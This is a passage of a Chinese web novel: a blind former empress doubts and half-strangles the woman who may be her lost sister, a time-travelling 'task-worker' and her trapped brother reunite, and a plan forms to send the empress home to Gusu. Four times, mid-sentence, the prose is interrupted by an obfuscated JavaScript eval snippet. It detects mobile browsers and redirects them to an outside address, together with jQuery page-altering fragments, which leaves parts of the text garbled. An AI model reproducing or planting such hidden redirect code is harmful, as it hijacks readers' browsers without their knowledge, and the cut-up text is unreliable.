怀里的这个人瘦的厉害,轻而易举的就能摸到那尖锐的下巴,与记忆中那张略带圆润的笑脸极为不符。 怀中人与记忆中的巨大差别让她几乎不敢认。 不!她就是阿窈! 她一定在路上吃了很多的苦,才变成这个样子。 自己怎么还能怀疑阿窈? 贺景姝将人死死搂进怀里,力度之大像是要融入骨血中。 “妹妹……” “阿窈……” “你怎么瘦了这么多啊?你受伤了吗?” 从她接住怀里这个人时,她就闻到一股极为浓重的药味,透过衣衫,也能摸出层层布料的触感。 “还有阿窈……你的声音怎么变了?” 莫不是伤的很严重? 贺英姝瞬间担忧了起来,还没待她仔细查看,怀中的人却在听到这句话就像触电一般,从她的怀里跳了出去。 “阿姐,我没事,已经好了。” 周围也七嘴八舌的响起解释的声音,嗓子是因为遇上火灾被烟熏得,伤是不小心弄得,不过一切都过去了,以后会越来越好的。 会越来越好吗? 此刻她应该融入他们之中,应该不停询问阿窈的伤势,应该将人拉到自己面前好好训斥她又不好好照顾自己,心疼她一路上吃了太多太多的苦。 可她脑海里总想到刚才的人,毫无犹豫跳出自己怀抱的样子,以前的阿窈从来不会这样。 从来只有她费劲的将人拉出来,阿窈从来没有主动推开过自己。 双眼涣散的贺英姝,并没有看到自己的妹妹因为浸出的血渍弄脏了她的衣服上,而不敢再靠近的惊慌。 也没有看到因为发现自己伤口裂开,害怕阿姐闻到自己身上的血腥味的无措。 她的眼前只有大团的光影,耳边也不断萦绕着那个轻缓的,诱惑的声音: ——阿窈那么喜欢你,会这般推开你吗? ——看吧,她根本就不是你的妹妹。 她不是我的妹妹。 在往后几天中,这个声音一直在她耳边回响。 回响在她下意识躲开自己的触碰时,回响在她从不喜深色却时常穿了一身黑衣时,回响在她轻而易举的就杀掉一个人而声音平淡时。 她不是我的妹妹。 这个想法终于在某一天爆发了,伴随着的是脑海中不停传来的刺痛和无数的幻境,交织在幻境中的玄色幻影一瞬间却变得扭曲而面目可憎起来。 就像那一天她掐着小阿祁的脖子一样,她也死死的扼住了她的喉咙。 眼前尽是幻境,面前的玄影也浮现出一张张扭曲的脸。 她记不太清自己说些什么了,那可能是她唯一一次发病时记忆模糊,她只隐约记得自己手底下的人没有一点挣扎,那个人的手搭在她的手上。 不是挣脱,是抚摸。 是带着眷恋的触碰。 好像死在她手里是一件值得高兴的事。 只是有一滴格外滚烫的泪水落在了她的手上。 那可能是面前这个人最高的温度吧。 毕竟她掐着的身体如此冰凉,只有泪水带着滚烫的温度。 与阿祁那次不同,许是她弄得声音很大,这次她很快就被拉开了。 只是不同于上次她很快清醒,在她被拉开后,她迅速拔下了头上的簪子挥舞躲避。 她看到地上的玄色幻影在她拔下簪子时就朝她扑了过来。 后来…… 后来似乎有血肉穿透的声音,后来她的簪子似乎也被打掉了。 不过都不重要了,她被心底的声音彻底拉扯进无边的幻境中。 而等贺英姝再次清醒时又不知道过了多久。 醒来后,还没反应过来自己又在发病期间做了什么,零星的记忆碎片让她下意识找阿窈。 回应她的却是阿瑾的道歉。 “对不起——” 阿瑾和她说明前因后果,只是不知为何那一字一句的解释格外艰难,像从胸腔肺腑中硬挤出来一般。 他说因为不想她一个人困在未央宫,所以在碰见和阿窈长得相似的人时,才会把她送到自己面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588901|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只是她没想到自己真的会彻底看不清。 是的,她彻底看不清了,只是她没告诉别人,所以别人只以为她是深陷幻境,被幻境所控。 所以那个人真的不是她的妹妹。 原来那个人和阿窈很像。 所以才会在其他当面扮演的那么拙劣,因为她和阿窈很像,所以以为她见到那张脸就会忽略其他一切。 贺英姝以极快的速度接受这一切真相,或者说在她心底就是希望这一切就是这样。 就这样,贺英姝知道了那个人的名字。 ——李予微。 李予微也成为了她手中最锋利的刀,和未来数年的陪伴。 她后来不是没再去想过他们的话。 只是也许在那次发作之前,她还会去细究他们的话,但发作之后她就再没细想过了。 因为只要一去细想这件事,头就疼的格外厉害。 像是潜意识中就不让她去细究。 好像一旦细究的后果就再也承受不起。 她就真的再也没有细究。 甚至刻意去忘记有关过去的一切,只是当大兴的辅政皇后,然后是太后。 再到如今还政,也只是一个人在未央宫修养,轻易不踏出门。 直到这次逢春剑的消息再次传来。 离素检查完嘱咐几句就安静的出去了,贺景姝在人走后躺倒在床榻上,枕着自己的胳膊,睁着眼睛往上面看。 在没发病的时候,她的眼前没有幻境,就只有大团大团的光影,随着光折射不同,眼前光影变换也不同。 此刻的光的渲染在躺在眼中也格外明显,恍惚间的光影又交叠出一个人影。 人影渐渐靠近,模样也渐渐清晰。 “阿瑾……” 贺英姝看着面前的‘阿瑾’,伸出手却抓了个空。 她的眼睛是看不清人像的,所以能看清的,只能是幻觉。 倒也没失望,只是一如往常那样喃喃的对着幻影道: “姑苏传来了逢春剑的踪迹,是阿窈。” “阿窈还活着,这么多年一直没有消息,如今突然出现,她应该回了姑苏,回了浮光楼。” “也应该见了阿爹阿娘……这很好。” 贺英姝顿了顿道: “只是为什么这么多年从来没见我呢?” “是怨我这个阿姐吗?还是来不了呢?” 这么一想,贺英姝头又开始痛了,然后她就感觉面前这个‘阿瑾’伸出手,像是缓缓揉着她的太阳穴,然后她就真的没那么疼了。 可她伸手去抓,又抓了个空。 这一次她没有收回手,贺英姝有点委屈。 “每一次都是你能碰到我,我却碰不到你。” 虽然知道这是因为幻境,这不是真的,但还是委屈,像是只要见到这个人,就会有无尽的委屈一般。 反正也是假的,于是她就顺着这股委屈一点点的说了出来。 人影听到她一句句的控诉,顿了一下,最后轻柔的摸着她的头。 柔风在额前一下一下的吹,像是有人一下一下的安慰一般。 贺英姝顿了顿,然后如呢喃般轻声道: “你还骗我小微就是阿窈,我差点就信了,之后又告诉我不是阿窈,是为了哄我出来的。” “幸好不是……” 12. 奸臣当道 如果她是阿窈,想到了她的声音……想到了她身上的伤疤……想到了那浑身的药味和血腥味……想到了那单薄到仿佛轻轻一碰就会碎掉的身体…… 还有那滴泪……那下轻柔的触碰…… 以及那声利器透体的声音…… 她记得那次发病之后一个月,她才再次见到小微…… 她像什么都没发生的样子,声音精神的厉害,不像是受伤的样子,一如既往的兴致勃勃的和说她学了一个功法,可以缓解她体内的归心散。 只是不叫她阿姐了。 改成了娘娘。 本来理应如此,她答应了阿窈,只做她独一无二的姐姐。 只是在她改口的时候心口仍旧闷得厉害。 是不是她当初发病时也说了像这次这样难听的话。 难听到在她想起来时,仿佛被人揪住了心口一般难受。 却仍旧像这次发病后一般,若无其事的继续凑到她跟前,仿佛什么都没发生一样。 她询问小微的伤,她却说自己记错了,她根本没有受伤。 真的是她记错了吗? 那次是她发病最严重的一次,她记不得做了什么,只是陷入了很深的负面情绪中。 可她看不清,就算摸到小微的脖子也摸不出什么,看不到上面是否有青紫的淤痕,她是不是伤到了她。 唯一清晰的只有那滴灼烫的泪,和那声利器透体的声音。 在未来数年间都成为了她的梦魇之一。 也不知为什么,她之后总是做梦,梦见小微就是阿窈,可是那时的她神态疯癫,疯狂攻击着她,在她的挥舞中,金簪穿透了阿窈的心脏。 可如今小微没有受伤不是吗。 小微答应过我不会再骗我了。 小微也不是阿窈。 所以都是归心散在作用。 都是幻觉。 想到这里她又想阿窈了。 也想阿爹阿娘了。 逢春剑的消息在姑苏,那阿窈是不是也在姑苏,她有没有回家? 她也想回家了。 可阿爹阿娘还会认她这个女儿,浮生楼还会让她回家吗? 许是应她所想,她的眼前又一次浮现幻觉。 是姑苏,是浮生楼,是她梦寐以求的故乡。 —— 因发病再次陷入沉睡的贺英姝,根本没注意到,窗外杏花树下遥遥站着一个人影,透过窗口将一切收入眼中。 微生:“怎么样,人检测不出来,魂魄总能检测出来了吧,那个魂体是任务者吗?” 小七闷闷的道:“经检测,确认魂体为探索小队3号队员锦生。” 微生摸摸下巴,故作思考道:“啧,果然是他,下次咱们把小世界中的重要人物,凡是名字带同音的,都抓过来看看是不是任务者。” 小七:“。” 微生:“怎么了,都确认了还一脸的不高兴。” 小七瞬间蔫了下去:“任务者根本就不是人,那我们这么长时间的都白努力了啊。” “那倒也不是。”微生道:“如果周怀瑾一直在旁边看着,那我们所做的一切就不是一点效果都没有的。” “要知道你去戏院看戏,很多时候还比戏中人哭的更厉害呢。” 小七有被安慰道,给自己打了打气。 微生都没说什么,它一个旁边辅助的怎么能继续打丧气鼓! 微生:“小七,你算算这家伙情绪值还差多少。” 小七扯开了好几个数据板,开口道:“唔……换算成数值的话,情绪波动才达到三成了,还差七成。” 微生一拍手:“没事,皇宫这边根本不用再特意弄了,以我对锦生这家伙的了解,等我设计这人物剧本走完后,这家伙情绪波动肯定爆满!” “那家伙肯定会躲起来哭好久,根本不用我特意攻略,现在咱可以把重点放在江湖上了。” “早知道是他,朝堂上我就不废这么大力气了,要知道那家伙可是看个肥皂剧都能哭爹喊娘个好几天的那种。” 要知道她也是第一次干这事,所以为了唤醒过度沉浸的队友,她剧情都是往死里写的。 真的是往死里弄,因为只有生死最动人心,要知道微生自己也是被全员be结局给气醒的。 但微生还是对自家队友手下留情了的,要知道原本的剧情结局就是全员be的。 在原本的时间线上,世上根本没有李予微,原本的贺景窈早就在贺英姝发病那次,就死在了自己姐姐的金簪之下。 那时候的明成帝,也就是周怀瑾一直都在,没有生病,稳定了整个朝廷江湖。 他不敢告诉贺英姝真相,同样也骗着贺英姝说只是自己找一个人骗她从未央宫出来,被她识破后就送走了。 最后贺景窈的身体被送回姑苏,灵魂却因死在至亲手中而执念不散,执意停留世间最后魂飞魄散。 而贺英姝则是在没有尽春华缓解归心散,没多久就心神崩溃而亡。 死后想起一切,却无法见到妹妹,灵魂也因手刃至亲而坠入地狱,最后在地狱刑罚中消亡。 最后这对姐妹俩还是一直分离,生死不见。 然后贺景窈就重生了。 没错,这他奶奶的还是个重生文,主要是世界意识,发现自己把小世界弄崩了后,就打算推翻重来。 偏生世界崩了他也变废物了,重生也没给重生利索,直接给人家重生到死的那天。 抓紧时间躲了躲,金簪稍微偏了偏,这才保住性命,晚一会都要一命呜呼了。 这才有了之后的李予微,有了尽春华缓解病情,也有了他们培养感情基础的时间。 结果世界意识没想到,金手指都这么开了,还是没防住,不仅江湖的主角死了,贺英姝又被人设计发病了。 这次她还是差点杀了李予微,却在最后一刻恢复神智,杀了自己。 而明成帝则在失去爱人后身体每况愈下,最后郁郁而终。 而在失去一切的李予微还被自己亲外甥误会,以为是李予微杀了自己母后,最后在登基时就下令杀了这个祸国奸臣,极刑处死,挫骨扬灰。 可以说是剧情全崩,只剩下一个大写的人间惨剧了。 听到这里的微生只想大骂世界意识狗逼,贺景窈这个人物都要被他玩坏了。 不过也正因为这次时间线结局太惨,所以世界意识才摆烂了,决定让小世界干脆点,直接毁灭吧,这才放手让微生他们随便折腾。 其实原本剧情已经够刺激了,但正因为太刺激了,微生怕把队友给刺激过头了,又想着顺便拯救个小世界。 微生抬头朝远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588902|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方看去,而在天边处,有三条裂缝横在天空之上。 其中第一条裂缝涉及面积最广,格外狭长,贯穿了整个天空。 而第二条裂缝横在第一条裂缝之上,像是要缝上第一条裂缝一般,却在失败后瞬间撕裂了第一条裂缝,加宽了裂缝宽度。 而第三条裂缝横在两条裂缝之上,却只有细细的一条线,并没有崩裂开。 这三条裂缝就代表三次时间线的回溯重来。 一旦这次没有成功拯救剧情,那么那条线就会瞬间崩碎掉整个天空,那么这个世界就再也无可挽回了。 毕竟这个小世界已经在同一段时间线重复了三次,已经在崩溃的边缘了。 所以微生还是把全员结局都给改了,为此还费了不少心思,既要保证刺激,又要拯救剧情。 但微生要是知道对象是锦生,哪里还肯废这劲,只保证小世界完好就成了。 小七一听这话,半点都不怀疑,无条件相信自家任务者,立马开心起来: “那太好了,我们离回家又更近了一步!” 微生也很开心,就在他们心里庆祝的时候,突然一只人影飘了过来。 是的,飘了过来,然后啪叽一声抱住了微生的大腿。 “老妹啊!我可终于见到你了啊!!!!” 微生:“???” 小七:“???” 微生不可置信的看着趴在她脚边的半透明魂体。 “你,你清醒着?” 锦生鬼哭狼嚎:“是啊老妹,你不知道我有多想你,皇宫深深,我可算是见到你了啊!” “还有小七,快,小七趁那家伙还没出来,赶紧跟我识海连接!快!” 小七已经乱成一团乱码了,按理来说任务者可以联系系统,系统没有允许是无法主动连接任务者,可小七尝试过后却成功了。 小七:“连上了!” 另一边锦生也终于从断线状态转成了联机状态,而一旁的微生却开始咬牙切齿了起来,指着他的手指都直颤抖: “所以……你这么长时间一直都清醒着,看着我上蹿下跳,费劲吧啦的白费功夫,你却连屁都没放一个?!” 锦生突然有点慌张,只见下一秒微生就直接朝着他踹了过去,结果因为他半透明踹了个空。 锦生刚万幸般的拍了拍胸脯,却见微生挑了挑眉,又朝着他伸出手。 这回她捏到实感了。 锦生瞪圆了眼睛,眼睁睁看着自家妹妹把自己拎了起来,然后就开始团吧,也不知怎么回事,他被团的缩小了好几倍,越团越小,越团越小。 这个小是真正意义上的小,最后锦生眼睁睁看着自己变成一个差不多手掌大的Q版小人,还被捏的圆头圆脑,浑身上下都很Q的那种,晕乎乎的倒在她的掌心里。 而微生也很满意自己的杰作,直接拎腿把人拽了起来,还甩了甩。 “老实交代,到底怎么回事?” 锦生本来就还没清醒,有被拎在半空甩,脑子都成了个浆糊,就这还在努力回答问题: “老……老妹儿,你先把……把我放下来吧,我……我晕……呕——” 锦生干呕几声,微生略带嫌弃的将人放了下来,又让小七注入点灵力,这才缓了过来。 “现在说吧,怎么回事?” 13. 奸臣当道 锦生,她哥,亲哥。 他们两个是一起成为的任务者,然后被分到了同一个时空探索小队,既是兄妹,也是队友。 后来他们小队迷失时空中,微生清醒和小七联系上后,第一时间想找的就是锦生。 因为是她亲哥嘛,血缘关系在这,本来想靠血缘关系寻找,结果没有,一点消息都没有。 多次和小七搜寻都渺无音讯的,结果现在告诉她,她那怨种哥哥就在她眼皮子底下,还一直清醒着? 嗯,已经在考虑怎么打死比较好了。 而被微生团在手里,并被死亡视线注视着的锦生也很委屈,要知道他一直清醒,却不仅无法联系其他队友,也无法连接小七,连接时空局求助。 甚至连自救都做不到,只能被困在小世界中,困在别人的灵魂中,直到有其他的时空任务者发现他,救他出来。 或者困住他的这个灵魂消散,小世界毁灭,他才能挣脱出来。 没错,和其他任务者的迷失不同,锦生虽然很容易共情迷失,却也一向清醒的早。 可他怎么也没想到,虎落平阳被犬欺,他堂堂一个任务者,被小世界灵魂纠缠困住了。 而且他清醒时已经被困的死死的,什么都做不了,只能清醒的看着自己出不去,甚至大部分时间都没有意识。 正如微生所想,因为任务者的到来,原本应该消散的原著民变相保留了魂魄。 困住锦生的灵魂,明成帝周怀瑾也是如此,按理来说在他下线那一刻灵魂就应该消散,锦生恢复记忆回到诏生楼。 诏生楼,也就是他们探索小队的总基地。 可没想到周怀瑾死后居然觉醒了所有的记忆,包括前两世。 所以一下子拥有三世记忆的周怀瑾执念太深,不甘心就这样消散,下意识就将锦生困住,借用锦生的力量强行停留在这小世界。 换其他人也许不行,可周怀瑾是皇帝啊,他身上有大兴王朝历代帝王之气的累积,再加上锦生刚觉醒虚弱着,还真让周怀瑾成功了。 于是锦生就被困在了小世界,力量还被周怀瑾所用。 因为锦生清醒时间太少,两人还成了魂魄无法沟通,所以周怀瑾只以为执念未散停留,一直不知道自己身体里还有个人被他困着。 再加上微生留在皇宫的时间,都是周怀瑾在主导着意识,所以这么长时间两个人竟然一次都没碰面。 要不是之前微生带人围了张府,逼死了张若朴,周怀瑾情绪波动太大导致在微生面前现了身,等锦生被发现救出来,不知道猴年马月了。 锦生坐在微生掌心里,抱着她的大拇指大声哭嚎着他这段时间的悲惨经历,眼睁睁看着周怀瑾那小子有着他的能力也不会用。 整天就知道往未央宫跑,偷偷摸摸的瞧自己媳妇,和自己媳妇贴贴,害得锦生不仅一次次看着自己队友离去,还硬生生被喂了这么多年的狗粮。 他心里苦啊! 现在好了,终于找到组织了啊。 听完来龙去脉的一人一统沉默了,不敢相信这家伙有多倒霉。 等锦生哭够了,微生这才把人拎起来,难得没有怼他,还让小七把他带回诏生楼。 可锦生拒绝了。 微生捏起他,眯着眼睛看他:“你不是刚才嚎了半天自己一个人孤苦无依,弱小无助的被困在了这里吗,怎么现在带你回去你还不回去了。” 锦生道:“我现在直接走了,这家伙灵魂太脆,执念又太深,除了灰飞烟灭没别的路了。” “但要是微生你真的把小世界救回来了,看着一切有个好结局,他的执念应该就能散了,我再添点功德,说不定这家伙还能有机会轮回转世。” 微生道:“他抢了你的力量,还把你困在了这里,你这是以德报怨自掏功德帮人家投胎?” 锦生叹了口气,小小的身体上写满了中二少年的忧愁:“谁让我善良呢。” 微生笑了一声:“反正也是你被困住,你的功德,你想咋地懒得管你,就一件事,别入戏太深。” 锦生顿时变成咏叹调:“啊,这不是有你吗,我亲爱的妹妹,哥哥相信你会用真情和爱感动我的,是吧。” 微生像触电一般直接把小人甩了出去,被甩出去的锦生也恢复了原样,看着微生跳出三米远,故作伤心状: “哦,我亲爱的妹妹,你这是不要你的哥哥了吗,你可知为了表达我们兄妹久别重逢的喜悦,我还准备了一份礼物要送给你呢!” 一抬头,哪里还有微生的影子,锦生也感受到了周怀瑾要醒了,也没去追,故作西子捧心状: “居然不告而别,真是太让我伤心了,但就算如此,也希望你会喜欢我的礼物啊!” “希望我亲爱的妹妹看到后,可要明白哥哥赤诚的真心啊!” —— 未央宫后园 微生在一片瑟瑟寒风中,瞪着这满园盛放的杏花,几乎气白了脸。 尺霜在一旁古怪道:“虽然二月也是有早杏的,但京都气候寒凉,地上的积雪都没化干净,这杏花怎么还开的起来。” 谁说不是! 锦生这家伙果然是太闲了!刚和小七联系上,拿回了一部分属于任务者的力量,就在小世界弄出这种反季节现象! 再想到刚才那个做作的声音,微生脑海里反复一句话: 是挑衅吗?! 是挑衅吧!! 现在让她怎么解释!! 微生这气的一掌拍向树上,可树上的杏花在感受到微生的气息,开的更茂盛了,讨好般的连开了好几朵。 微生:“……” “这就是你刚跟我保证过的?!” 一道带着愤怒的声音从身后传来,微生一转身,就见到离素脚底带风走到她面前,满脸讥诮道: “这几天未央宫每天都摆满了杏花,阿姝开心了好几天,说姑苏的杏花就是这时候开的,没想到今年京城天暖的早,杏花竟也这时候开了。” “我还寻思外面积雪都没化干净,何来的天暖,赶情是有人上赶着来当春风使者呢。” 微生:“……我说它是自己来的你信吗?” 离素冷笑:“合着您不是春风使者,您比春风都厉害,啥也不做,碰一下这花就能朵朵向阳开。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588903|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 微生:“……” 微生还想挣扎一下。 “真的是……” 这花还真就是她碰一下就开了!! 她真的什么也没做! 离素直接打断她的话,拉过她的手就把脉,一边说:“不是我说丞相大人,你光顾着让花开了,有没有注意到你那脸现在比花都白。” 那是气的! 显然她现在说这话没人信了,谁让这幅身体修的内力占春芳,就有让草木恢复生机的神奇之能。 而原主曾经就干过,让花短时间内反复盛开的事,可以说是有前科了。 此刻就连尺霜都幽幽的看着她,谴责的目光都快怼她脸上了。 微生:“……” 离素看着面色苍白,低垂着眉眼默不作声的李予微,就觉得一口气噎在嗓子眼,上不得下不得。 这家伙每次一说就这样,偏偏她这样最是让人说不下去。 而且面前这人不知道随便动用内力的后果吗? 事实是这家伙比谁都清楚! 那她就算说再多又有什么用呢? 离素叹了一口气,终是将喉间那些话都咽了下去。 早晚有一天早被这家伙气死! 离素松开了因气急紧捏着的探脉的手腕,换了一个话题。 “这件事就先放过你。” “逢春剑怎么回事?” 离素看着对面的女子因她的话微微亮起的双眼,然后又迅速沉默下去,变回刚才油盐不进的模样。 离素:“……这回装死没用!你不说我就一直跟你耗,反正我一个闲人,不像丞相大人那般事务繁忙。” “我有的是时间。” 李予微:“……” 逢春剑,浮生楼少楼主贺景窈的佩剑,最开始叫回春剑,剑名就取自于浮生楼的回春剑诀。 当年的贺景窈就是凭着这把剑,将浮生楼的回春剑诀传承下来,成为了除了第一任浮生楼主以外,第二个学会完整回春剑诀的人。 传承下来后,她还将回春剑诀进行改良,改良到最后她就觉得回春剑这个名字不好了,不符合她的剑意。 为什么要再回春呢?既已逢春,已是幸哉,于是就给剑名改为了逢春剑。 然后拎着逢春剑就到处和人打架,凭着逢春剑,把沉寂多年的回春剑诀再一次打响整个江湖,成为了和归一剑法并列的天下第一剑。 哪怕直到如今,江湖见过逢春剑出鞘的人都还记得那股剑意,记得那个持剑的身影。 剑映春色浓,醉梦挑浮生。 一笑出门去,千里落花风。 这四句诗,是对当年那个惊才绝艳,肆意潇然的浮生楼少楼主最好的评价。 所以才在逢春剑现世时,哪怕回春剑诀尚为有消息,也仍旧有无数江湖人会为之趋之若狂,不亚于对归一剑法的追寻。 这就是当时归一剑法现世时,李予微交代尺霜做的事。 她想要把江湖的水搅得更混。 只是她没想到,太后会如此快的收到消息。 不过虽在意料之外,却也在预计之中。 14. 奸臣当道 李予微默默收回了手,沉默了一会轻声道:“其实也没什么,就是阿姐的身体如今不适合京城了,我寻思等阿姐身体好些,可以回姑苏养着。” 李予微捏了捏杏花的花瓣,像是透过花看向遥远的故乡,轻声念道: “姑苏那边气候已经开始暖了,而京都却仍旧寒凉,就连这的花都没姑苏开的好,等回了姑苏肯定比如今要养的快些。” “而以阿姐的性子,若不用逢春剑做饵,我想不出还能用什么法子还让阿姐肯离开京都。” 而且三月入江南,烟雨姑苏城。 若是近日启程,待到了姑苏,便正好能看到最好时节的江南景色。 每到这个时节,阿姐便最喜欢登上浮生楼最高处,看尽整座姑苏城这烟雨朦胧的春景。 她却不一样,她喜欢在烟雨时撑着一把油纸伞,漫步走在那青石小路上,边走边赏这被烟雨笼罩的姑苏城。 偶尔折一枝花,留一壶酒,走累了便躺在江中舟上,听着周围淅淅沥沥的雨声,眺望着远方的江景。 雨雾挡不住天边的那抹斜阳,霞光铺满了水面,染遍了岸边的白墙绿瓦。 直到天色已晚,长灯亮起,岸边的楼阁传来丝竹曲声,方才醉步归家。 半江烟雨半江晴,半撑长嵩且徐行。 此身既入姑苏城,余生难断江南景。 等到时候阿姐再回到那时的姑苏,还会舍得离开这份江南吗? 如何舍得呢。 李予微心想。 “那你呢?”离素看向她:“你不想回姑苏城?你不想回浮生楼……回家看看?” 李予微沉默了,可是心里已经给出了答案。 怎会不想呢。 她看着这纷飞花瓣,一朵杏花随风飘落,仿佛带着姑苏烟雨的缠绵,恰好落在了她的手心。 在京都呆的久了,做梦都想再看一眼那座令她魂牵梦萦的烟雨城。 她在京都待的太久了。 真的太久了。 久到记忆中的姑苏城,那座浮生楼都已经模糊了。 而她也已经变得面目全非,要是回了姑苏,这座城还能认出她,就是曾经那个醉酒折花的姑娘吗? 可是此刻她却不敢回答,毕竟有些渴望一旦宣之于口,就会化成执念。 人不能太过贪心。 李予微觉得,现在的她所拥有的已经是数年来的求之不得了,不该再奢求太多了。 奢求太多最终只会一无所有。 李予微没回答,可离素却看透她的未言之意,不像她那般多的顾忌,离素想的很简单。 “想回就回吧,出来的再久,总是要回家的。” “我看如今朝野内外都稳定了,周玄祁那小子也能独当一面了,也用不着你每天跟在后面操心。” “而且你说的对,京城雪重,姑苏那边已经暖了,确实最适合养病。” “到时候阿姝的身子渐渐养回来了,而你这身体有阿姝看着,谅你也不敢再像现在这般胡作非为。” 李予微垂下眼睑没有附和,良久才开口: “那阿姐就拜托素素姐了,等阿姐这次发病后,我就安排人乘船回姑苏,这一路上有素素姐在,我也十分放心。” “这你就不用担心了,你现在就让人收拾准备,肯定能赶得上启程。” 离素摆摆手,如今这阿姝的身体还在她把控之中,药王谷传人这点自信还是有的。 可是说着说着离素却觉得不对,转头看向她: “什么叫这一路有我在,你十分放心?你不跟我们回姑苏?” 李予微:“京城的事还没结束,我一时抽不开身,所以你们先去,待京城的事了结后,我就会回去了。” 离素皱紧了眉头:“京城还有什么事?如今周玄祁在朝中有自己的党羽,你仔细挑选,几乎将整个班底挑好了送到他手里。” “至于剩下的都在你的把控之中,以那小子的能力,剪除也只是早晚的问题,还用得着你看着?那这小子也就太废物些了。” “你可不要以为我不涉朝政不懂你们这些弯弯绕绕,就可以随意糊弄了。” 李予微:“话虽这么说,但阿祁毕竟羽翼未丰,在外人看来如今的大兴朝是内有奸臣把控朝政,外有逆党犯上作乱。” “可以说内忧外患皆在,我这时撒手不管,外面那些虎视眈眈的乱党定然掀起风浪。” 没有人比她更明白他们的危险,那群人是就算是死也要同归于尽的疯子。 “况且……他们对浮生楼恨之入骨,阿姐的身份虽不是天下皆知,但他们一定清楚。” 离素眉头皱的更紧了。 “所以你才要把阿姝送离京都,然后对外宣城太后驾崩,好躲避他们的视线?” “可你别忘了,阿姝虽为浮生楼后人,但因出嫁未被浮生楼灭门一事所涉入。” “而你却是正了八经的浮生楼传人,浮生楼的少楼主,你觉得阿姝会因此被记恨,那他们对你怕只有杀之而后快。” “相比阿姝,你才更危险,这么说你更应该跟我们走,你如今轻易不得用内力。何必非得惹那群疯子。” 李予微却缓缓道:“不一样的。” 她垂动了下眼睫,轻声道:“天下人虽然仅知道先帝尚为安王时,娶了一个江湖女子,两人也在民间传了许多佳话。” 就算登基为帝后,整个后宫也只此一人,直到临终,明成帝终此一生也只有这一个妻子。 “但知道这个江湖女子是浮生楼长女的人并不少。” 当年浮生楼要与安王府结秦晋之好,浮生楼一朝嫁女,轰动江湖。 “可是我不同,在这世间,见过贺景窈的人基本都死了。” 而且是死在她的手上。 “可以说所有记得浮生楼少楼主的人,都以为她已经丧生了。” “现在活在这世上的是大兴奸臣李予微。” “而且阿姐能走,阿祁却不行,他是皇帝,他不可能躲一辈子。” 况且那群人对她恨之入骨,她又何尝不是如此。 她可是日日盼着亲手将他们挫骨扬灰,又怎么能离开。 那些人,就该死的再干净些,凭何还能在一处安然度日。 李予微捏着杏花的手猛然捏紧,凭空生出一抹戾气,柔软的花瓣在她手中瞬间被碾碎。 离素则在思考李予微的话,无法否认她说的话有道理,而且阿姝现在没有内力,让她现在就走是最好的选择。 “可要是这乱党一日不除,你就一日不离开京都,那阿姝那边我怎么交代?” “你用逢春剑把她哄过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588904|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时候你人不去,我又该如何告诉她?你又能把她留在姑苏多久?” 李予微:“不会的,只要阿姐回了姑苏,她就不会离开了。” 李予微笑了笑:“毕竟姑苏城那么好,她怎么舍得呢。” “况且已经让他们嚣张这么久了,这群乱党就止在今年吧。” “过了今年,阿姐无论想去哪里,都不会再有威胁了。” 离素狐疑看向她,似乎不明白她为何如此笃定,像看出来她的怀疑,李予微笑着保证: “放心吧素素姐,阿姐那边不会怀疑的。” “至于我这边你也不用担心,我连内力都不用,更别提尽春华了,不会出事的。况且尺霜还在我身边呢。” “最晚到明年花开前,这一切都会结束的。” 离素见李予微神色认真,不像作假,这才妥协般道: “那我现在就去改阿姝的药方,虽然这次发病急了些,但好在这些年给阿姝身体底子调过来了,不会有太大影响。” “等到了姑苏,阿姝那边我最多帮你瞒一年,一年后你要是还不回来,我就全都告诉阿姝。” “我现在算是明白,只要阿姝出面,比我在你身边苦口婆心啰嗦的强百倍。” 李予微垂下了眼睑。 一年…… 足够了。 “放心吧,一年内肯定结束。”李予微笑答。 待离素离开后,李予微仍旧呆在原地,盯着这满树梨花看了好久,直到身后一直沉默的尺霜出声: “主子,天寒,还是不要久待了。” 李予微这才从恍然中回过神来,她没有立刻离开,反而是上前一步,折下一枝开的正盛的杏花,习惯性的捏着一端枝头,轻轻的捻。 